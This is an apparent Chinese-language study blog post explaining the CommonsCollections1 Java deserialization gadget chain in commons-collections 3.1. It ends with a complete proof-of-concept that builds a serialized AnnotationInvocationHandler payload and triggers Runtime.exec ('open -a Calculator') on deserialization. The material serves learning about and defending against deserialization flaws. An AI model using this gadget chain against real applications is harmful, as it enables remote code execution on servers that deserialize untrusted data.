Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
CommonsCollection在java反序列化的源流中已经存在5年
今天介绍的CommonsCollections1,反序列化的第一种RCE序列化链
CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
此实验Java版本,在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用
MACBOOK
IDEA 2020
此次实验代码:
https://github.com/godzeo/javasec_code_study/tree/master/src/main/java/CommonCollections
看完之后,大概会总结一下,需要了解这⼏个接⼝和类的知识点
首先要从Transformer类开始
Transformer它只是⼀个接⼝,只有⼀个待实现的⽅法:它的作用我感觉就是总接口吧
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
TransformedMap在利用链中个人理解:是一个触发器,主要是后面类中的 实现类的Transformer()方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
ChainedTransformer就是实现了Transformer接⼝的⼀个类
它就可以承接下一步的操作。
它的主要作⽤:
将内部的多个Transformer串在⼀起
就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
代码如下:
public class ChainedTransformer implements Transformer, Serializable {
.......
}
......
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer是实现了Transformer接⼝的⼀个类
简单就是你输入什么类,它就返回什么
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
看一下代码,其实就是反射的代码,给封装到transform方法里面了。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
下面是P牛写的dome
简单的利上面的知识点,构造了一个简单的链,达到命令执行
package CommonCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
}
}
上面的漏洞虽然触发了,但是其实是手动触发,没什么用的。
反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?
所以,目标是:找到⼀个类,它在反序列化的readObject逻辑⾥有类似的写⼊操作。
这个类就是
sun.reflect.annotation.AnnotationInvocationHandler
反序列化的实现方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
把之前构造的transform链包装成一个Map对象
将它作为AnnotationInvocationHandler反序列后的memberValue
在readObject反序列化的时候,触发memberValue.setValue()
然后再触发TransformedMap里的transform()
最后实现命令执行。
Transformer[] transformers = new Transformer[]{
//利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
//利用反射构造命令执行
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open -a Calculator"}),
};
改写就是将 Runtime.getRuntime() 换成了 Runtime.class
原因是:java.lang.Runtime 对象不能反序列化
方法 | 类 | 可否序列化 |
---|---|---|
Runtime.getRuntime() | java.lang.Runtime | no |
Runtime.class | java.lang.Class | yes |
重点:Java中不是所有对象都⽀持序列化,Java类 必须都实现了 java.io.Serializable 接⼝,才可以序列化,所以我们得换一个对象实现POC的改写
package CommonCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1poc {
public static void main(String[] args) throws Exception {
//构造Transformer的小链式
Transformer[] transformers = new Transformer[]{
//利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
//利用反射构造命令执行
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open -a Calculator"}),
};
// 将transformers链式的串起来在transformerChain内部
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");
//绑定map到修饰器
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射获取AnnotationInvocationHandler,将内部的方法实例化他
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//序列化操作,讲上述构造的handler恶意的对象,序列化保存
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
//没实际作用,就是打印看一下反序列化的数据
System.out.println(barr);
//触发反序列化操作,触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
成功执行:
还是挺有意义的吧,了解底层的原来,还有一些类的原理没有摸透,得好好再看看。
反射的基础还是挺重要的,得多学习。